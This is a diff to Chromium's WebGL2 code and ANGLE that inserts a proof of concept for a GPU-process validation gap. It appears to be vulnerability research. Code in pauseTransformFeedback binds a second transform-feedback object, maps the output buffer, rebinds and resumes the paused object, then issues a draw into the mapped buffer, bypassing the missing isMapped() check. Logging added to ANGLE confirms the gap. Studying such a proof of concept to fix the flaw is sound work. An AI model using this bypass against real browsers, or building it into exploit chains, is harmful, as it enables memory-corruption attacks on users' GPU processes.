diff --git a/third_party/blink/renderer/modules/webgl/webgl2_rendering_context_base.cc b/third_party/blink/renderer/modules/webgl/webgl2_rendering_context_base.cc index 1569afaa6af4f..83629c5eed05e 100644 --- a/third_party/blink/renderer/modules/webgl/webgl2_rendering_context_base.cc +++ b/third_party/blink/renderer/modules/webgl/webgl2_rendering_context_base.cc @@ -8,6 +8,7 @@ #include "base/compiler_specific.h" #include "base/containers/heap_array.h" +#include "base/logging.h" #include "base/numerics/checked_math.h" #include "base/numerics/safe_conversions.h" #include "gpu/command_buffer/client/gles2_interface.h" @@ -4257,6 +4258,61 @@ void WebGL2RenderingContextBase::pauseTransformFeedback() { transform_feedback_binding_->SetPaused(true); ContextGL()->PauseTransformFeedback(); + + // ========================================================================== + // POC injection: simulate a compromised renderer attacking the GPU process. + // Bypass: pause(TF1) -> bind(TF2) -> MapBufferRange(B) -> bind(TF1) -> + // resume() -> draw(). ANGLE ValidateResumeTransformFeedback omits + // the isMapped() check that ValidateBeginTransformFeedback performs. + // ========================================================================== + auto* gl = ContextGL(); + const GLuint tf1 = transform_feedback_binding_->Object(); + + // (2) Bind a fresh TF2 so the *currently bound* TF is inactive. This drops + // B.mTransformFeedbackIndexedBindingCount to 0 (TF1's onBindingChanged). + GLuint tf2 = 0; + gl->GenTransformFeedbacks(1, &tf2); + gl->BindTransformFeedback(GL_TRANSFORM_FEEDBACK, tf2); + while (gl->GetError() != GL_NO_ERROR) { + } + + // (3) Map B via the still-live generic GL_TRANSFORM_FEEDBACK_BUFFER binding. + // ValidateMapBufferBase: current TF (TF2) inactive -> first gate passes; + // hasWebGLXFBBindingConflict: indexedCount==0 -> second gate passes. + void* mapped = + gl->MapBufferRange(GL_TRANSFORM_FEEDBACK_BUFFER, 0, 16, + GL_MAP_WRITE_BIT | GL_MAP_INVALIDATE_RANGE_BIT); + GLenum e_map = gl->GetError(); + LOG(ERROR) << "[XFB-POC renderer] MapBufferRange ptr=" << mapped + << " glError=0x" << std::hex << e_map; + + // (4) Re-bind paused TF1 and resume. ValidateResumeTransformFeedback has no + // isMapped() guard. + gl->BindTransformFeedback(GL_TRANSFORM_FEEDBACK, tf1); + GLenum e_bind = gl->GetError(); + gl->ResumeTransformFeedback(); + GLenum e_resume = gl->GetError(); + LOG(ERROR) << "[XFB-POC renderer] BindTF1 glError=0x" << std::hex << e_bind + << " ResumeTransformFeedback glError=0x" << e_resume + << (e_resume == 0 && mapped + ? " <== VALIDATION GAP: resume accepted with mapped XFB " + "output buffer" + : ""); + + // (5) Draw -> ANGLE records an XFB-writing draw whose output buffer is in + // the GL-mapped state (GLES 3.0 ยง6.3.2 violation). + gl->DrawArrays(GL_POINTS, 0, 1); + GLenum e_draw = gl->GetError(); + gl->Finish(); + LOG(ERROR) << "[XFB-POC renderer] DrawArrays(POINTS) with mapped XFB output " + "glError=0x" + << std::hex << e_draw; + + // Best-effort cleanup so the context is not left wedged. + gl->EndTransformFeedback(); + gl->UnmapBuffer(GL_TRANSFORM_FEEDBACK_BUFFER); + gl->DeleteTransformFeedbacks(1, &tf2); + // ========================================================================== } void WebGL2RenderingContextBase::resumeTransformFeedback() { diff --git a/third_party/angle/src/libANGLE/TransformFeedback.cpp b/third_party/angle/src/libANGLE/TransformFeedback.cpp index 6f31b93e44..2287950370 100644 --- a/third_party/angle/src/libANGLE/TransformFeedback.cpp +++ b/third_party/angle/src/libANGLE/TransformFeedback.cpp @@ -196,6 +196,23 @@ angle::Result TransformFeedback::pause(const Context *context) angle::Result TransformFeedback::resume(const Context *context) { + // POC instrumentation (observation-only): runs in the GPU process AFTER + // ValidateResumeTransformFeedback has accepted the call. If any indexed + // XFB output buffer is mapped here, the validator let a mapped buffer + // through -- the validation gap is proven. + for (size_t i = 0; i < mState.mIndexedBuffers.size(); ++i) + { + const Buffer *b = mState.mIndexedBuffers[i].get(); + if (b && b->isMapped()) + { + fprintf(stderr, + "[XFB-POC gpu-process] *** TransformFeedback::resume(): indexed buffer " + "slot=%zu id=%u isMapped()=true -- ValidateResumeTransformFeedback " + "accepted a mapped XFB output buffer ***\n", + i, b->id().value); + fflush(stderr); + } + } ANGLE_TRY(mImplementation->resume(context)); mState.mPaused = false; recomputeVertexCapacity(context);